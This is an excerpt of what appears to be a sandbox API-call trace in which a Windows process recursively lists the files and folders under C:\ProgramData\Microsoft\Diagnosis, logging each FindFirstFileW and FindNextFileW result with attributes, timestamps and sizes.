	[0063.932] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\*", lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8e23c06e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x8e23c06e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa8c8
	[0063.953] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8e23c06e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x8e23c06e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.953] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d5cadbc, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2d5cadbc, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger", cAlternateFileName="AUTOLO~1")) returned 1
	[0063.953] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\*", lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d5cadbc, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0xcd8d859b, ftLastWriteTime.dwHighDateTime=0x1d34734, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa888
	[0063.960] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d5cadbc, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0xcd8d859b, ftLastWriteTime.dwHighDateTime=0x1d34734, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.960] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd8d859b, ftCreationTime.dwHighDateTime=0x1d34734, ftLastAccessTime.dwLowDateTime=0xcd8d859b, ftLastAccessTime.dwHighDateTime=0x1d34734, ftLastWriteTime.dwLowDateTime=0xac487de2, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger-Diagtrack-Listener.etl", cAlternateFileName="AUTOLO~1.ETL")) returned 1
	[0063.960] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd8d859b, ftCreationTime.dwHighDateTime=0x1d34734, ftLastAccessTime.dwLowDateTime=0xcd8d859b, ftLastAccessTime.dwHighDateTime=0x1d34734, ftLastWriteTime.dwLowDateTime=0xac487de2, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger-Diagtrack-Listener.etl", cAlternateFileName="AUTOLO~1.ETL")) returned 0
	[0063.960] FindClose (in: hFindFile=0xbaa888 | out: hFindFile=0xbaa888) returned 1
	[0063.960] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3890078 | out: hHeap=0x2720000) returned 1
	[0063.960] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScenarioShutdownLogger", cAlternateFileName="SCENAR~1")) returned 1
	[0063.961] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger\\*", lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa788
	[0063.961] FindNextFileW (in: hFindFile=0xbaa788, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.961] FindNextFileW (in: hFindFile=0xbaa788, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0063.961] FindClose (in: hFindFile=0xbaa788 | out: hFindFile=0xbaa788) returned 1
	[0063.961] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3890078 | out: hHeap=0x2720000) returned 1
	[0063.961] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d6afbff, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2d6afbff, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShutdownLogger", cAlternateFileName="SHUTDO~1")) returned 1
	[0063.961] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\*", lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d6afbff, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0xb855a1cd, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa5c8
	[0063.964] FindNextFileW (in: hFindFile=0xbaa5c8, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d6afbff, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0xb855a1cd, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.964] FindNextFileW (in: hFindFile=0xbaa5c8, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb855a1cd, ftCreationTime.dwHighDateTime=0x1d33839, ftLastAccessTime.dwLowDateTime=0xb855a1cd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbc623573, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger-Diagtrack-Listener.etl", cAlternateFileName="AUTOLO~1.ETL")) returned 1
	[0063.964] FindNextFileW (in: hFindFile=0xbaa5c8, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb855a1cd, ftCreationTime.dwHighDateTime=0x1d33839, ftLastAccessTime.dwLowDateTime=0xb855a1cd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbc623573, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger-Diagtrack-Listener.etl", cAlternateFileName="AUTOLO~1.ETL")) returned 0
	[0063.965] FindClose (in: hFindFile=0xbaa5c8 | out: hFindFile=0xbaa5c8) returned 1
	[0063.965] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3890078 | out: hHeap=0x2720000) returned 1
	[0063.965] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d6afbff, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2d6afbff, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShutdownLogger", cAlternateFileName="SHUTDO~1")) returned 0
	[0063.966] FindClose (in: hFindFile=0xbaa8c8 | out: hFindFile=0xbaa8c8) returned 1
	[0063.966] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f30078 | out: hHeap=0x2720000) returned 1
	[0063.967] FindNextFileW (in: hFindFile=0xbaa948, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b60b8d0, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b60b8d0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x666666, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events_CostDeferred.rbs", cAlternateFileName="EVENTS~3.RBS")) returned 1
	[0063.967] FindNextFileW (in: hFindFile=0xbaa948, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b5e567a, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b5e567a, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x1000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events_Normal.rbs", cAlternateFileName="EVENTS~1.RBS")) returned 1
	[0063.967] FindNextFileW (in: hFindFile=0xbaa948, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b60b8d0, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b60b8d0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x666666, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events_NormalCritical.rbs", cAlternateFileName="EVENTS~2.RBS")) returned 1
	[0063.968] FindNextFileW (in: hFindFile=0xbaa948, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b60b8d0, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b60b8d0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x333333, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events_Realtime.rbs", cAlternateFileName="EVENTS~4.RBS")) returned 1
	[0063.968] FindNextFileW (in: hFindFile=0xbaa948, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a029c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalTraceStore", cAlternateFileName="LOCALT~1")) returned 1
	[0063.968] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore\\*", lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a029c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa5c8
	[0063.968] FindNextFileW (in: hFindFile=0xbaa5c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a029c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.968] FindNextFileW (in: hFindFile=0xbaa5c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a029c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0063.968] FindClose (in: hFindFile=0xbaa5c8 | out: hFindFile=0xbaa5c8) returned 1
	[0063.969] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f30078 | out: hHeap=0x2720000) returned 1
	[0063.969] FindNextFileW (in: hFindFile=0xbaa948, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a3dd985, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8a3dd985, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x28facbb4, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x0, cFileName="osver.txt", cAlternateFileName="")) returned 1
	[0063.969] FindNextFileW (in: hFindFile=0xbaa948, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfbb1de, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8bfbb1de, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8bfbb1de, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="parse.dat", cAlternateFileName="")) returned 1
	[0063.969] FindNextFileW (in: hFindFile=0xbaa948, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a06c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sideload", cAlternateFileName="")) returned 1
	[0063.969] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload\\*", lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a06c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa7c8
	[0063.970] FindNextFileW (in: hFindFile=0xbaa7c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a06c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.970] FindNextFileW (in: hFindFile=0xbaa7c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a06c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0063.970] FindClose (in: hFindFile=0xbaa7c8 | out: hFindFile=0xbaa7c8) returned 1
	[0063.970] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f30078 | out: hHeap=0x2720000) returned 1
	[0063.970] FindNextFileW (in: hFindFile=0xbaa948, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a0bca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Siufloc", cAlternateFileName="")) returned 1
	[0063.970] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc\\*", lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a0bca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa808
	[0063.970] FindNextFileW (in: hFindFile=0xbaa808, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a0bca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.970] FindNextFileW (in: hFindFile=0xbaa808, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a0bca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0063.970] FindClose (in: hFindFile=0xbaa808 | out: hFindFile=0xbaa808) returned 1
	[0063.970] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f30078 | out: hHeap=0x2720000) returned 1
	[0063.971] FindNextFileW (in: hFindFile=0xbaa948, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4ddac897, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftLanding", cAlternateFileName="SOFTLA~1")) returned 1
	[0063.971] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\*", lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4ddac897, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa888
	[0063.973] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4ddac897, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.973] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bfa790, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4de62c84, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x840fae4f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x41c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", cAlternateFileName="03D1E1~1.XML")) returned 1
	[0063.974] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c20a14, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4defb5dd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x840fae4f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x441b, dwReserved0=0x0, dwReserved1=0x0, cFileName="03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", cAlternateFileName="03D1E1~2.XML")) returned 1
	[0063.974] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7750111, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4df6de00, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8128f6c, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4180, dwReserved0=0x0, dwReserved1=0x0, cFileName="394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", cAlternateFileName="394B7B~1.XML")) returned 1
	[0063.974] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7750111, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e006640, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb5c02e23, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4187, dwReserved0=0x0, dwReserved1=0x0, cFileName="394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", cAlternateFileName="394B7B~2.XML")) returned 1
